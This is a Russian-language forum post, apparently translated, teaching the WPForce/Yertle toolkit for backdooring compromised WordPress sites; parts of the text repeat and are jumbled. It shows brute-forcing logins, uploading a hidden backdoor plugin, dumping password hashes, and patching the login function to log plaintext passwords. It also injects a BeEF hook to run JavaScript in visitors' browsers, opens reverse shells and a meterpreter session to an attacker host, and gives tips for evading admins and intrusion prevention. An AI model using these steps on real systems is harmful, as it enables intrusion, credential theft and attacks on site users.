HHIDE_DUMP
Гость
H
HHIDE_DUMP
Гость
WordPress является крайне популярной системой правления контентом. Она работает на PHP, обычно поверх
Самым популярным инструментом для анализа WordPress является
После удачного подбора учётных данных, скрипт-компаньон из набора WPForce – Yertle – может использоваться для выгрузки бэкдора на сервер с WordPress и выполнить ряд атак с применением модулей последующей эксплуатации.
Запуск Yertle сравнительно простой. Просто укажите URL, имя пользователя, пароль и тип бэкдора, я предпочитаю --interactive для интерактивного доступа.
После запуска скрипта, инструмент залогинется на сайт WordPress и выгрузит на него плагин. В любое время, когда вы захотите снова получить доступ к бэкдору, просто укажите аргумент -e с именем директории выгрузки. Плагин будет принимать команды наподобие оболочки
Мы можем собирать не только хеши, но мы можем также собрать учётные данные в виде простого текста. Это достигается пропатчиванием PHP файла внутри ядра WordPress. Это позволяет записывать все пароли в простом тексте в тот момент, когда пользователи вводят их для аутентификации.
Перевод:
Этот модуль модифицирует файлы внутри ядра WordPress. Хотите продолжить? Введите Y для «Да».
Функция wp_signon пропатчена. Не запускайте это более одного раза. Используйте 'keylog' для проверки файла журнала.
После предупреждения, позволяющего пользователю узнать о модификациях, которые будут сделаны в ядре WordPress, будет пропатчена функция аутентификации.
Нужно дождаться, когда пользователи вновь залогинятся (именно введут свои учётные данные, а не просто зайдут на сайт), а затем просмотреть файл журнала, это можно сделать набрав команду “keylog”. Она выведет учётные данные в виде простого текста.
Отойдём от сбора учётных данных, но останемся в сфере клиентских атак. Мы можем внедрить в сайт крюк
Перевод:
Этот модуль модифицирует файлы внутри ядра WordPress. Вы хотите продолжить? (введите Y для «Да»)
IP адрес (введите IP адрес компьютера с запущенным BeEF): 10.0.1.16
BeEF добавлен! Проверьте BeEF на наличие подцепленных клиентов. Не запускайте это несколько раз.
После внедрения крюка, мы просто ждём, пока на сайте появятся пользователи. Когда пользователи открыли сайт, они становятся «подцепленными». В это время мы можем отправлять любую нагрузку JavaScript какую мы хотим. BeEF содержит большое количество атак, которые мы можем запустить в отношении клиента.
Демонстрация полезной нагрузки, выполняемой в клиентском браузере:
Вы можете также использовать другой тип оболочки. Для этого доступны две опции: обычный обратный TCP шелл и оболочка PHP meterpreter. Чтобы перейти на полностью интерактивную оболочку, просто запустите:
И прослушивайте выбранный порт для получения шелла:
Если вы хотите иметь шелл meterpreter, загрузите
И вы получите внутри metasploit оболочку meterpreter:
Наконец, есть пара способов быть более незаметным при использовании этого инструмента. По умолчанию, модуль регистрирует себя как плагин WordPress и этот плагин виден администратору.
Для удаления бэкдора из видимых плагинов, просто запустите команду “stealth”. Бэкдор всё равно будет доступен, его просто не будет видно внутри пользовательского интерфейса.
Также важно упомянуть, что в качестве пользовательского агента Yertle по умолчанию отправляет “Yertle backdoor uploader”. В реальных условиях это значение следует переписать с помощью флага -a. Поскольку по опытам замечено, что с таким User Agent немедленно блокируется IP, если веб-сервер использует IPS (систему предотвращения вторжений).
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
. Хотя большинство серверов WordPress имеют надёжные пароли и безопасные плагины, во внутренних сетях это редкость. По этим причинам атакующий часто может найти уязвимости в устаревших версиях программного обеспечения или ещё проще, угадать пароль администратора. Узнав пароль, вы можете сделать различные вещи для вклинивания в другие системы. Кроме повышения привилегий, вы можете использовать сам WordPress для запуска ряда других атак в отношении клиентов.Самым популярным инструментом для анализа WordPress является
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
. Он способен найти уязвимые версии плагинов, тем и самого WordPress. Новый инструмент Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
основывает свою работу на других принципах. WPForce выполняет брут-форс аутентификации WordPress не через форму входа, а использует вызовы API аутентификации для тестирования верности учётных данных. Это позволяет обойти некоторые защиты формы входа WordPress, по сравнению с другими программами, WPForce чуть менее заметен.После удачного подбора учётных данных, скрипт-компаньон из набора WPForce – Yertle – может использоваться для выгрузки бэкдора на сервер с WordPress и выполнить ряд атак с применением модулей последующей эксплуатации.
Запуск Yertle сравнительно простой. Просто укажите URL, имя пользователя, пароль и тип бэкдора, я предпочитаю --interactive для интерактивного доступа.
После запуска скрипта, инструмент залогинется на сайт WordPress и выгрузит на него плагин. В любое время, когда вы захотите снова получить доступ к бэкдору, просто укажите аргумент -e с именем директории выгрузки. Плагин будет принимать команды наподобие оболочки
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
. Для просмотра доступных модулей, вы можете набрать “help” или “?”.
Код:
Основные команды
=============
Команда Описание
------- -----------
? Справка
beef Внедрить BeEF крюк в веб-сайт
exit Завершение сеанса
hashdump Сдампить все хеши паролей WordPress
help Справка
keylogger Патчит ядро WordPress для записи учётных данных в открытом виде
keylog Показывает файл с захваченными паролями
meterpreter Выполняет PHP meterpreter stager для подключения metasploit
quit Завершение сеанса
shell Отправляет обратный TCP шелл на прослушивальщик netcat
stealth Прячет Yertle со страницы плагинов[\code]
Одним из полезных модулей последующей эксплуатации, который вы можете запустить, является hashdump. hashdump зайдёт в SQL базу, запросит таблицу, содержащую хеши паролей и вернёт их в вывод. Затем вы можете взломать эти хеши и начать пробовать использовать эти учётные данные для продвижения буквально в другие системы.
[code]os-shell> hashdump
ID: 1 - Username: admin Password: $P$BAgwF1u99OZU1iqTgTIrUmBbtIjRMu1 Email: [email protected]
ID: 2 - Username: wpuser Password: $P$BdcZZVb0ssMccLU1ECFCtUihocqQ0S. Email: [email protected]
ID: 3 - Username: n00py Password: $P$B0mYQT38IOJtOr/nl4dchdqgCrxsG/. Email: [email protected]
os-shell>
Код:
os-shell> keylogger
This module modifies files within the WordPress core. Would you like to continue? (Y/n) Y
wp_signon function patched. Do not run this more than once. Use 'keylog' to check the log file.
os-shell>
Этот модуль модифицирует файлы внутри ядра WordPress. Хотите продолжить? Введите Y для «Да».
Функция wp_signon пропатчена. Не запускайте это более одного раза. Используйте 'keylog' для проверки файла журнала.
После предупреждения, позволяющего пользователю узнать о модификациях, которые будут сделаны в ядре WordPress, будет пропатчена функция аутентификации.
Нужно дождаться, когда пользователи вновь залогинятся (именно введут свои учётные данные, а не просто зайдут на сайт), а затем просмотреть файл журнала, это можно сделать набрав команду “keylog”. Она выведет учётные данные в виде простого текста.
Код:
os-shell> keylog
2017-03-30 - Username: && Password:
2017-03-30 - Username: n00py && Password: thisisalsomynetworkpassword
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
. Это позволит атакующему запускать произвольный JavaScript у пользователей, находящихся на сайта.
Код:
os-shell> beef
This module modifies files within the WordPress core. Would you like to continue? (Y/n) Y
IP Address: 10.0.1.16
BeEF hook added! Check BeEF for any hooked clients. Do not run this multiple times.
Этот модуль модифицирует файлы внутри ядра WordPress. Вы хотите продолжить? (введите Y для «Да»)
IP адрес (введите IP адрес компьютера с запущенным BeEF): 10.0.1.16
BeEF добавлен! Проверьте BeEF на наличие подцепленных клиентов. Не запускайте это несколько раз.
После внедрения крюка, мы просто ждём, пока на сайте появятся пользователи. Когда пользователи открыли сайт, они становятся «подцепленными». В это время мы можем отправлять любую нагрузку JavaScript какую мы хотим. BeEF содержит большое количество атак, которые мы можем запустить в отношении клиента.
Демонстрация полезной нагрузки, выполняемой в клиентском браузере:
Вы можете также использовать другой тип оболочки. Для этого доступны две опции: обычный обратный TCP шелл и оболочка PHP meterpreter. Чтобы перейти на полностью интерактивную оболочку, просто запустите:
Код:
os-shell> shell
IP Address: 10.0.1.4
Port: 8080
Sending reverse shell to 10.0.1.4 port 8080
os-shell>
Код:
root@Kali:~/WPForce$ nc -l 8080
bash: no job control in this shell
www-data@Quaoar:/var/www/wordpress/wp-content/plugins/aekpmsu$
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
и запустите:
Код:
os-shell> meterpreter
IP Address: 10.0.1.4
Port: 4444
Sending meterpreter stager to connect back to 10.0.1.4:4444
os-shell>
Код:
[*] Started reverse handler on 10.0.1.4:4444
[*] Starting the payload handler...
[*] Sending stage (33068 bytes) to 10.0.1.21
[*] Meterpreter session 1 opened (10.0.1.4:4444 -> 10.0.1.21:60763) at 2017-03-29 20:49:16 -0600
Для удаления бэкдора из видимых плагинов, просто запустите команду “stealth”. Бэкдор всё равно будет доступен, его просто не будет видно внутри пользовательского интерфейса.
Код:
os-shell> stealth